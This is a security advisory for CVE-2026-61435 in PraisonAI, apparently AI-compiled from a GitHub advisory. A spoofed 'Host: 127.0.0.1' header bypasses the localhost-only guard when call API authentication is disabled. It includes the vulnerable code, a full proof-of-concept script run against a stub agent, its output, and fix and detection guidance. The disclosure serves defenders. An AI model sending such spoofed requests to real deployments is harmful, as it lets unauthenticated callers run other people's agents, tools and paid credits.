CVE-2026-61435: PraisonAI: Call API localhost-only authentication bypass via spoofed Host header
PraisonAI's agent invocation API can run in a no-auth mode that is meant to work only on localhost. The localhost check reads the HTTP Host header, so a remote caller sending `Host: 127.0.0.1` passes it and can list and invoke registered agents. It only applies when PRAISONAI_CALL_AUTH=disabled is set. Fixed in praisonai 4.6.78.
Published Oct 8, 2026 · Analysis Oct 28, 2026
What an attacker can do
In src/praisonai/praisonai/api/agent_invoke.py, verify_token() guards the /api/v1/agents routes, including POST /api/v1/agents/{agent_id}/invoke. When PRAISONAI_CALL_AUTH=disabled, it allows the request only if the bind host is a localhost name. But _bind_host_from_request() takes request.url.hostname, which comes from the Host header the client controls (CWE-346).
The reporter's test sent three tokenless requests to an app with the real router. Host: external.example got 503. Host: 127.0.0.1 got 200 for the agent list and 200 for the invoke, and the registered stub agent ran with the attacker's message.
This is not a default exposure. The operator must set the opt-out and make the API reachable from the network. Then any unauthenticated caller can run registered agents with their tools, private context, workflow integrations, file or browser access and paid model credits. The same dependency protects the other registry routes. The reporter confirmed v4.6.62 and the then-current main branch.
Who is affected
The pip package praisonai up to and including 4.6.77. Exposed deployments run the call or serve API (the n8n and call agent invocation API) with PRAISONAI_CALL_AUTH=disabled and reachable beyond loopback. With the default settings and no token set, the API refuses requests with a 503.
pip show praisonaiAlso check the environment of the running service:
env | grep PRAISONAI_CALL_AUTHpraisonai
- Ecosystem
- PyPI
- Affected
- <= 4.6.77
- Fixed in
- 4.6.78
- Check
pip show praisonai
How to fix it
Upgrade to praisonai 4.6.78:
pip install --upgrade praisonai==4.6.78The reporter's advice is to decide at startup from the real bind address, not from request headers, and to refuse to start with auth disabled on a non-loopback bind. Until you upgrade, remove PRAISONAI_CALL_AUTH=disabled, set a real token for the call server, and keep the API off untrusted networks.
How to tell if you were hit
Look in access logs for requests to /api/v1/agents and /api/v1/agents/*/invoke from non-local addresses that carry Host: 127.0.0.1 or localhost. Check which agents ran and what messages they received. A spoofed request only works with the opt-out set, so first confirm whether PRAISONAI_CALL_AUTH is disabled in your deployment. Beam records agent shell commands, file access and MCP tool calls, which would show what an invoked agent did.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Call API localhost-only authentication bypass via spoofed Host header
Summary
PraisonAI's patched PRAISONAI_CALL_AUTH=disabled safeguard for the n8n/call agent invocation API can be bypassed with a spoofed Host: 127.0.0.1 header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.
Technical Details
The affected code is src/praisonai/praisonai/api/agent_invoke.py. verify_token() is used as a FastAPI dependency for the /api/v1/agents routes, including POST /api/v1/agents/{agent_id}/invoke. Current code no longer unconditionally skips authentication when PRAISONAI_CALL_AUTH=disabled; it tries to allow that opt-out only for localhost binding:
_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})
def _bind_host_from_request(request: Request) -> str:
host = getattr(getattr(request, 'url', None), 'hostname', None)
return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')
async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
if _call_auth_disabled():
bind_host = _bind_host_from_request(request)
if bind_host not in _LOCALHOST_HOSTS:
raise HTTPException(
status_code=503,
detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding",
)
returnThe violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads request.url.hostname, which is derived from the HTTP Host header for the current request. A remote caller can therefore send Host: 127.0.0.1 and make the disabled-auth guard believe the request is for a localhost-bound service.
The protected sink is agent execution. After verify_token() returns, invoke_agent() retrieves the registered agent and calls agent.astart(request.message) or agent.start(request.message). The same router is mounted by the PraisonAI serve feature, which imports praisonai.api.agent_invoke, includes agent_invoke.router, and registers YAML agents into the same registry.
This is not a default-configuration exposure claim. The deployment must enable PRAISONAI_CALL_AUTH=disabled and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.
PoV
the PoV builds an in-process FastAPI app with the real agent_invoke.router, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends Host: 127.0.0.1.
disabled_client = TestClient(app, base_url="http://external.example")
external_host = disabled_client.get(
"/api/v1/agents",
headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
"/api/v1/agents/pov-agent/invoke",
headers={"host": "127.0.0.1"},
json={"message": "host-header-bypass"},
)Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects Host: external.example with 503, but accepts the spoofed localhost Host with 200 and invokes the stub agent.
The complete PoV script is in Appendix A.
PoC
Run from a PraisonAI checkout with the Appendix A script saved as pov_call_auth_host_spoof.py:
git checkout v4.6.62
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .Observed v4.6.62 output:
{
"disabled_auth_external_host_status": 503,
"disabled_auth_spoofed_localhost_invoke_status": 200,
"disabled_auth_spoofed_localhost_list_status": 200,
"fail_closed_without_token_status": 503,
"repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33",
"spoofed_localhost_invoke_body": {
"metadata": {
"agent_id": "pov-agent",
"message_length": 18,
"response_length": 33
},
"result": "stub-agent-ran:host-header-bypass",
"session_id": "default",
"status": "success"
},
"stub_agent_calls": [
"host-header-bypass"
],
"vulnerable": true
}Run the same script against current main:
git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .Observed current-head output:
{
"disabled_auth_external_host_status": 503,
"disabled_auth_spoofed_localhost_invoke_status": 200,
"disabled_auth_spoofed_localhost_list_status": 200,
"fail_closed_without_token_status": 503,
"repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753",
"spoofed_localhost_invoke_body": {
"metadata": {
"agent_id": "pov-agent",
"message_length": 18,
"response_length": 33
},
"result": "stub-agent-ran:host-header-bypass",
"session_id": "default",
"status": "success"
},
"stub_agent_calls": [
"host-header-bypass"
],
"vulnerable": true
}The negative controls are the first two status fields. With default authentication and no token, the API fails closed with 503. With PRAISONAI_CALL_AUTH=disabled, an ordinary external Host is also rejected with 503. Only the spoofed localhost Host passes the guard and reaches agent execution.
Impact
An unauthenticated caller who can reach a PraisonAI call/serve API with PRAISONAI_CALL_AUTH=disabled can bypass the intended localhost-only restriction by setting Host: 127.0.0.1. The PoV demonstrates both agent listing and direct invocation of a registered agent through /api/v1/agents/{agent_id}/invoke.
Impact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted /api/v1/agents API family.
Suggested CWE: CWE-287 Improper Authentication and CWE-346 Origin Validation Error, with CWE-306 Missing Authentication for Critical Function also applicable to the bypassed protected action.
Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.
Suggested Fix
Do not derive bind safety from Request.url, the HTTP Host header, or any request-header-derived value. If PRAISONAI_CALL_AUTH=disabled remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.
Consider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to 127.0.0.1, localhost, or ::1.
Regression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where PRAISONAI_CALL_AUTH=disabled, the modeled server configuration is non-loopback, and the request sends Host: 127.0.0.1; the expected result should be rejection before any agent list or invoke handler runs.
Affected Package/Versions
Affected package: praisonai on PyPI.
Confirmed affected:
v4.6.62at2a855c470077c7d2e2479a575f7ef7f548d51c33- current main at
846568c7a5d8ce9e71e56e4c213f027c04909753, version file still reporting4.6.62
v4.6.60 had the older unconditional PRAISONAI_CALL_AUTH=disabled bypass and is covered by a different public advisory. This report is for the patched guard shape present in v4.6.62 and current main. If v4.6.61 contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.
Fixed version: unknown.
Advisory History
I checked the repository advisory list available through GitHub and found adjacent but distinct advisories:
GHSA-86qc-r5v2-v6x6: call server unauthenticated agent listing/invocation/deletion whenCALL_SERVER_TOKENis unset in older releases. Current code fails closed when no token is configured; this report requires the patchedPRAISONAI_CALL_AUTH=disabledlocalhost guard and a spoofed Host header.GHSA-8ccj-p46r-jwqq:PRAISONAI_CALL_AUTH=disabledunconditionally disabled authentication in older releases and is listed as patched in>= 4.6.61. This report showsv4.6.62and current main are still bypassable through the new guard because the guard trustsrequest.url.hostname.GHSA-vmf9-xx9w-86wx: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools throughpraisonaiagents.mcp.ToolsMCPServer.run_sse(),/sse, and/messages/. That advisory affectspraisonaiagents >= 0.6.0, < 1.6.58andpraisonai >= 3.10.0, < 4.6.58, with patches listed aspraisonaiagents >= 1.6.59andpraisonai >= 4.6.59. This report targets a different package call path inpraisonai.api.agent_invoke.verify_token()and/api/v1/agents/{agent_id}/invoke, confirmed inpraisonai v4.6.62and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requiresPRAISONAI_CALL_AUTH=disabledon the call/n8n agent API and bypasses its localhost-only opt-out guard withHost: 127.0.0.1; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved.GHSA-x8cv-xmq7-p8xp:AgentTeam.launch()unauthenticated API. That advisory coverspraisonaiagentsAgentTeam.launch()routes, notpraisonai.api.agent_invoke.verify_token().GHSA-5qw8-f2g9-ff29: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API's Host-derived guard input.
No advisory I found describes Host-header spoofing against the patched PRAISONAI_CALL_AUTH=disabled localhost guard in praisonai.api.agent_invoke.
References
src/praisonai/praisonai/api/agent_invoke.pysrc/praisonai/praisonai/cli/features/serve.pyGHSA-86qc-r5v2-v6x6: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6GHSA-8ccj-p46r-jwqq: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8ccj-p46r-jwqqGHSA-vmf9-xx9w-86wx: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmf9-xx9w-86wxGHSA-x8cv-xmq7-p8xp: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xpGHSA-5qw8-f2g9-ff29: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5qw8-f2g9-ff29
Appendix A - Full PoV Script
#!/usr/bin/env python3
"""PoV for PraisonAI call API Host-header localhost guard bypass."""
from __future__ import annotations
import importlib
import json
import os
import sys
from pathlib import Path
from typing import Any
def _repo_root() -> Path:
if len(sys.argv) == 2:
return Path(sys.argv[1]).resolve()
return Path.cwd().resolve()
def _load_agent_invoke(repo_root: Path, auth_disabled: bool):
os.environ.pop("CALL_SERVER_TOKEN", None)
if auth_disabled:
os.environ["PRAISONAI_CALL_AUTH"] = "disabled"
else:
os.environ.pop("PRAISONAI_CALL_AUTH", None)
package_root = repo_root / "src" / "praisonai"
if not package_root.exists():
raise SystemExit(f"missing PraisonAI package root: {package_root}")
package_root_s = str(package_root)
if package_root_s not in sys.path:
sys.path.insert(0, package_root_s)
import praisonai.api.agent_invoke as agent_invoke
agent_invoke = importlib.reload(agent_invoke)
agent_invoke._agent_registry.clear()
return agent_invoke
class StubAgent:
def __init__(self) -> None:
self.calls: list[str] = []
def start(self, message: str) -> str:
self.calls.append(message)
return f"stub-agent-ran:{message}"
def _make_client(agent_invoke: Any):
from fastapi import FastAPI
from fastapi.testclient import TestClient
app = FastAPI()
app.include_router(agent_invoke.router)
return TestClient(app, base_url="http://external.example")
def main() -> int:
repo_root = _repo_root()
fail_closed_mod = _load_agent_invoke(repo_root, auth_disabled=False)
fail_closed_client = _make_client(fail_closed_mod)
fail_closed = fail_closed_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
disabled_mod = _load_agent_invoke(repo_root, auth_disabled=True)
agent = StubAgent()
disabled_mod.register_agent("pov-agent", agent)
disabled_client = _make_client(disabled_mod)
external_host = disabled_client.get(
"/api/v1/agents",
headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
"/api/v1/agents/pov-agent/invoke",
headers={"host": "127.0.0.1"},
json={"message": "host-header-bypass"},
)
result = {
"repo_head": _git(repo_root, "rev-parse", "HEAD"),
"fail_closed_without_token_status": fail_closed.status_code,
"disabled_auth_external_host_status": external_host.status_code,
"disabled_auth_spoofed_localhost_list_status": spoofed_localhost_list.status_code,
"disabled_auth_spoofed_localhost_invoke_status": spoofed_localhost_invoke.status_code,
"spoofed_localhost_invoke_body": _safe_json(spoofed_localhost_invoke),
"stub_agent_calls": agent.calls,
}
expected = (
fail_closed.status_code == 503
and external_host.status_code == 503
and spoofed_localhost_list.status_code == 200
and spoofed_localhost_invoke.status_code == 200
and agent.calls == ["host-header-bypass"]
)
result["vulnerable"] = expected
print(json.dumps(result, indent=2, sort_keys=True))
return 0 if expected else 1
def _safe_json(response: Any) -> Any:
try:
return response.json()
except Exception:
return response.text
def _git(repo_root: Path, *args: str) -> str:
import subprocess
return subprocess.check_output(
["git", "-C", str(repo_root), *args],
text=True,
stderr=subprocess.DEVNULL,
).strip()
if __name__ == "__main__":
raise SystemExit(main())Credited to rexpository.
Questions
- Is praisonai exposed with default settings?
No. The advisory states it is not a default-configuration exposure. The deployment must set PRAISONAI_CALL_AUTH=disabled and be reachable over the network.
- What does a spoofed Host header get an attacker?
The ability to list registered agents and invoke them through /api/v1/agents/{agent_id}/invoke with no token.
- Which version fixes CVE-2026-61435?
praisonai 4.6.78. Versions up to 4.6.77 are listed as vulnerable.
References
Read for this analysis:
- https://github.com/advisories/GHSA-2gpf-2492-q9jh
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2gpf-2492-q9jh
- https://nvd.nist.gov/vuln/detail/CVE-2026-61435
- https://nvd.nist.gov/vuln/detail/CVE-2026-62174
- https://github.com/MervinPraison/PraisonAI/commit/2a855c470077c7d2e2479a575f7ef7f548d51c33
- https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753
- https://www.vulncheck.com/advisories/praisonai-before-authentication-bypass-via-host-header-spoofing
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
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